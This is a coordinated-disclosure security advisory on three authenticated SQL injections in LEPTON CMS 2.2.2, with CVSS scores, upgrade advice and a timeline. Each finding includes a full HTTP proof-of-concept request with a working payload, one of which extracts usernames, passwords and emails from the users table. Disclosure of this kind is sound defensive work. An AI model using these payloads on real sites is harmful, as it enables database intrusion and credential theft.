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Security Advisory - Curesec Research Team

1. Introduction

Affected Product:   LEPTON 2.2.2 stable
Fixed in:           2.3.0
Fixed Version Link: http://www.lepton-cms.org/posts/
                    important-lepton-2.3.0-101.php
Vendor Website:     http://www.lepton-cms.org/
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to        11/10/2016
public:
Release mode:       Coordinated Release
CVE:                n/a
Credits             Tim Coen of Curesec GmbH

2. Overview

Lepton is a content management system written in PHP. In version 2.2.2, it is
vulnerable to multiple SQL injections. The injections require a user account
with elevated privileges.

3. Details

SQL Injection: Search Page

CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description: The "terms" parameter of the page search is vulnerable to SQL
Injection. A user account with the right "Pages" is required to access this
feature.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/pages/index.php?leptoken=
3f7020b05ec343675b6b2z1472137594 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=
fkb7do1domiofuavvof5qbsv66; lep8765sessionid=f3a67s8kh379l9bs2rkggtpt12
Connection: close Content-Type: application/x-www-form-urlencoded
Content-Length: 154 search_scope=title&terms=" union select
username,2,3,4,5,6,password,email,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
from lep_users -- -&search=Search

Blind or Error-based SQL Injection: Create Page

CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description: The "parent" parameter of the create page functionality is
vulnerable to SQL Injection. A user account with the right "Pages" is required
to access this feature. The injection is blind or error based in the case that
PHP is configured to show errors.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/pages/add.php?leptoken=
dbbbe0a5cca5d279f7cd2z1472142328 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=
fkb7do1domiofuavvof5qbsv66; lep8765sessionid=uniltg734soq583l03clr0t6j0
Connection: close Content-Type: application/x-www-form-urlencoded
Content-Length: 84 title=test&type=wysiwyg&parent=0 union select version()&
visibility=public&submit=Add

Blind or Error-based SQL Injection: Add Droplet

CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description: The "Add_droplets" parameter of the droplet permission manager is
vulnerable to SQL injection. A user account with access to the Droplets
administration tool is required. The injection is blind or error based in the
case that PHP is configured to show errors.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/admintools/tool.php?tool=droplets&
leptoken=1eed21e683f216dbc9dc2z1472139075 HTTP/1.1 Host: localhost
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie:
PHPSESSID=fkb7do1domiofuavvof5qbsv66; lep8765sessionid=
f3a67s8kh379l9bs2rkggtpt12 Connection: close Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded Content-Length: 277 tool=
droplets&perms=1&Add_droplets%5B%5D=1&Add_droplets%5B%5D=2' WHERE attribute=
'Add_droplets' or extractvalue(1,version())%23&Delete_droplets%5B%5D=1&
Export_droplets%5B%5D=1&Import_droplets%5B%5D=1&Manage_backups%5B%5D=1&
Manage_perms%5B%5D=1&Modify_droplets%5B%5D=1&save=Save

4. Solution

To mitigate this issue please upgrade at least to version 2.3.0:

http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue
09/06/2016 Vendor requests 60 days to release fix
10/25/2016 Vendor releases fix
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/Lepton-222-SQL-Injection-173.html
 
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Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany